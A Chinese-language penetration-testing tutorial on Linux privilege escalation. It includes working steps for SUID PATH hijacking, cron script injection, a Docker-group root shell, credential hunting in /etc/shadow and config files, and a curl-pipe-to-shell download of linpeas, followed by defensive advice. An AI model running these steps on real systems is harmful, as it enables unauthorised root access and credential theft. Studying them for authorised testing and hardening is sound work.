一、引言:为什么要关注 Linux 提权?
在渗透测试、CTF 竞赛以及真实的攻防演练中,获取一个低权限的普通用户 Shell 只是万里长征的第一步。真正的目标——获取 root 权限——往往才是后续横向移动、持久化驻留和数据窃取的关键。Linux 提权(Privilege Escalation)正是连接这两者的桥梁。
🎯核心认知:90% 的 Linux 提权都逃不出几条高频路径的组合。关键在于系统性枚举 + 模式识别,而非盲目试错。
二、提权第一步:枚举先行,切勿盲冲
永远不要拿到 Shell 就急着提权,先把枚举做完。
最经典的教训:有人花数小时翻遍 SUID 文件,结果答案是sudo -l输出的第一行。
快速枚举命令速查
# 身份确认 id; whoami # 系统信息 uname -a; cat /etc/*release; lsb_release -a 2>/dev/null # sudo 权限(第一优先!) sudo -l # SUID/SGID 文件 find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null # 计划任务 ls -la /etc/cron* /var/spool/cron 2>/dev/null cat /etc/crontab 2>/dev/null # 可写目录 find / -writable -type d 2>/dev/null | head -20 # Capabilities getcap -r / 2>/dev/null # 环境变量 env | sort # 密码/凭据搜索 grep -r "password" /etc/ /var/www/ 2>/dev/null三、八大经典提权路径详解
路径一:SUID/SGID 滥用 ⭐
原理:SUID(Set User ID)是一种特殊权限位,设置了该位的程序运行时以文件所有者的权限执行,而非执行者本身的权限。如果一个 SUID 程序属于 root,那运行它就能获得 root 权限。
检测:
find / -perm -4000 -type f -exec ls -al {} + 2>/dev/null利用方式:
(1) 已知 SUID 二进制逃逸(GTFOBins 路线)
许多常见工具(vim、less、awk、tar、find 等)如果在 SUID 状态下被找到,可通过 GTFOBins 列出的方式逃逸到 root shell。
(2) 自定义 SUID 程序 + PATH 劫持(完整实例)
这是最经典的 SUID 提权教学案例:
场景:管理员编写了一个 SUID 程序demo,以 root 权限编译并设置 SUID 位:
/* demo.c */ #include <stdlib.h> void main(){ setuid(0); // 设置为root权限 setgid(0); system("ps"); // 调用 ps 命令(无绝对路径!) }编译并设置 SUID:
gcc demo.c -o demo chmod u+s demo攻击者视角:
# 1. 发现 SUID 文件 find / -perm -u=s -type f 2>/dev/null # 发现 /home/test/demo 有 SUID 权限 # 2. 分析发现 demo 调用了 ps 命令(无绝对路径) # 3. 创建恶意 ps 文件 echo "/bin/bash" > /tmp/ps chmod 777 /tmp/ps # 4. 劫持 PATH 环境变量 export PATH=/tmp:$PATH # /tmp 目录优先级高于系统目录,执行 ps 时会先找到 /tmp/ps # 5. 运行 demo,触发提权 ./demo # 此时 system("ps") 实际执行的是 /tmp/ps → 即 /bin/bash # 获得 root shell! id # uid=0(root) gid=0(root) ...关键理解:system("ps")不带绝对路径,系统会按PATH变量的顺序搜索可执行文件。将/tmp插入 PATH 最前面,就能让程序执行我们伪造的ps。
路径二:Sudo 配置错误 ⭐
原理:/etc/sudoers文件中定义了哪些用户可以免密或以特定身份执行哪些命令。配置不当会导致提权。
检测:
sudo -l常见危险配置:
允许执行的命令 | 提权方式 |
|---|---|
|
|
|
|
|
|
| 直接调用 shell |
| 直接切换到 root |
2025 年新披露的高危 sudo 漏洞:
CVE-2025-32462:sudo 的
-h选项错误将远程主机规则应用到本地,绕过权限检查提权至 root,影响 sudo 1.9.0~1.9.17 和 1.8.8~1.8.32。CVE-2025-32463:chroot 实现中对非可信控制范围处理不当,可通过恶意 chroot 环境加载任意共享库以 root 权限执行代码。
💡 建议:sudo -l 输出中看到
(ALL)或NOPASSWD关键字时,务必高度警惕——这往往是提权的捷径。
路径三:计划任务(Cron)劫持
原理:Cron 守护进程按计划执行脚本,若以 root 身份运行的计划任务执行的脚本可被低权限用户修改,就能注入恶意代码。
检测:
cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ 2>/dev/null完整实例:
# 发现 /etc/crontab 中有: # * * * * * root /tmp/backup.sh # 查看 backup.sh 权限 ls -la /tmp/backup.sh # 若为 777 或可写 # 注入提权代码 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /tmp/backup.sh # 等待 cron 执行(或重启 cron) # 执行后获得 SUID bash /tmp/bash -p # 获得 root shell另一经典场景:计划任务使用相对路径调用命令(如tar),可通过环境变量或 PATH 劫持定向到恶意程序。
路径四:环境变量劫持(PATH 注入)
原理:当程序调用外部命令时不使用绝对路径,系统会根据PATH环境变量顺序查找可执行文件。通过篡改 PATH,使程序优先执行恶意代码。
已在上文 SUID 路径中详细展示了 PATH 劫持的完整实例。
路径五:内核漏洞提权 🔥
原理:利用 Linux 内核本身的漏洞,通过特制 exploit 代码直接在内核态执行代码,获取 root 权限。
检测:
uname -r # 内核版本 uname -a cat /proc/version使用自动化工具匹配 exploit:
# Linux Exploit Suggester wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh # 或使用 linux-exploit-suggester-2 perl linux-exploit-suggester-2.pl⚠️ 2026 年重磅:CVE-2026-31431(Copy Fail)
2026 年 4 月 29 日披露的近年最稳定提权漏洞,影响 2017 年后几乎所有 Linux 发行版(Ubuntu、Debian、RHEL、Amazon Linux、SUSE、Arch、Fedora 等)。
EXP 仅 732 字节,利用稳定
无需竞争窗口、无需内核特定偏移、无需预装特殊工具
通过 AF_ALG 套接字 + splice() 系统调用链,利用 authencesn 模块逻辑缺陷,实现对 setuid 二进制文件页缓存的 4 字节任意写入
最终篡改
/usr/bin/su的.text段,通过execve("/usr/bin/su")以 setuid-root 身份直接获得 root shell
修复方案:升级内核或临时禁用algif_aead模块。
路径六:密码/凭据泄露
检测:
# 搜索常见密码关键词 grep -r "password\|passwd\|pwd\|secret\|key" /etc/ /var/www/ /home/ 2>/dev/null # 检查 .bash_history cat ~/.bash_history | grep -i pass # 检查 SSH 密钥 ls -la ~/.ssh/ # 检查 /etc/passwd 和 /etc/shadow cat /etc/passwd # 如果 /etc/shadow 可读或有密码哈希可破解场景:配置文件明文密码、SSH 私钥泄露、.bash_history 中包含密码等。
路径七:Linux Capabilities 提权
原理:Capabilities 机制将 root 权限拆分为独立的 capability,某些危险的 capability 可被滥用提权。
检测:
getcap -r / 2>/dev/null危险 capability:
CAP_SYS_ADMIN:接近完全的 root 权限CAP_NET_RAW:网络层操控CAP_SETUID:可设置任意 UID
路径八:容器逃逸 & Docker 组提权
Docker 组提权:
# 如果当前用户在 docker 组中 docker run -v /:/host -it ubuntu chroot /host bash # 直接获得宿主机 root shellNFS no_root_squash:
# 检查 /etc/exports cat /etc/exports # 若存在 no_root_squash,可挂载后放置 SUID shell四、自动化枚举工具推荐
手动一条条敲命令效率太低,推荐以下自动化工具:
工具 | 特点 |
|---|---|
linPEAS (PEASS-ng) | 最流行的提权枚举脚本,覆盖面广 |
LinEnum | 经典枚举脚本,轻量快速 |
linux-exploit-suggester | 内核漏洞匹配推荐 |
pspy | 实时监控进程,发现隐藏的计划任务 |
快速使用:
# linPEAS curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # linux-exploit-suggester wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh五、防御建议(蓝队视角)
防护方向 | 具体措施 |
|---|---|
Sudo 安全 | 最小化 sudo 权限,避免 NOPASSWD 授予解释器类命令 |
SUID 管控 | 定期审计 SUID 文件,移除不必要的 SUID 位 |
Cron 安全 | 计划任务脚本使用绝对路径,确保脚本权限严格控制 |
内核维护 | 及时更新内核,启用自动安全更新 |
访问控制 | 使用 SELinux/AppArmor 限制进程能力 |
凭据管理 | 禁止明文密码,定期轮换密钥 |
结语
Linux 提权的本质是权限边界的跨越——无论是利用配置失误(sudo、SUID、Cron),还是直接攻击内核,核心思路始终如一:全面枚举 → 识别异常 → 构造利用 → 验证提权。随着 CVE-2026-31431 等新型内核漏洞的持续披露,保持系统和知识的同步更新至关重要。
⚠️重要声明:本文所述技术仅供合法授权的安全研究、渗透测试、CTF 竞赛及防御加固等正当用途。未经授权对他人系统进行测试属于违法行为,请遵守相关法律法规,切勿用于非法目的。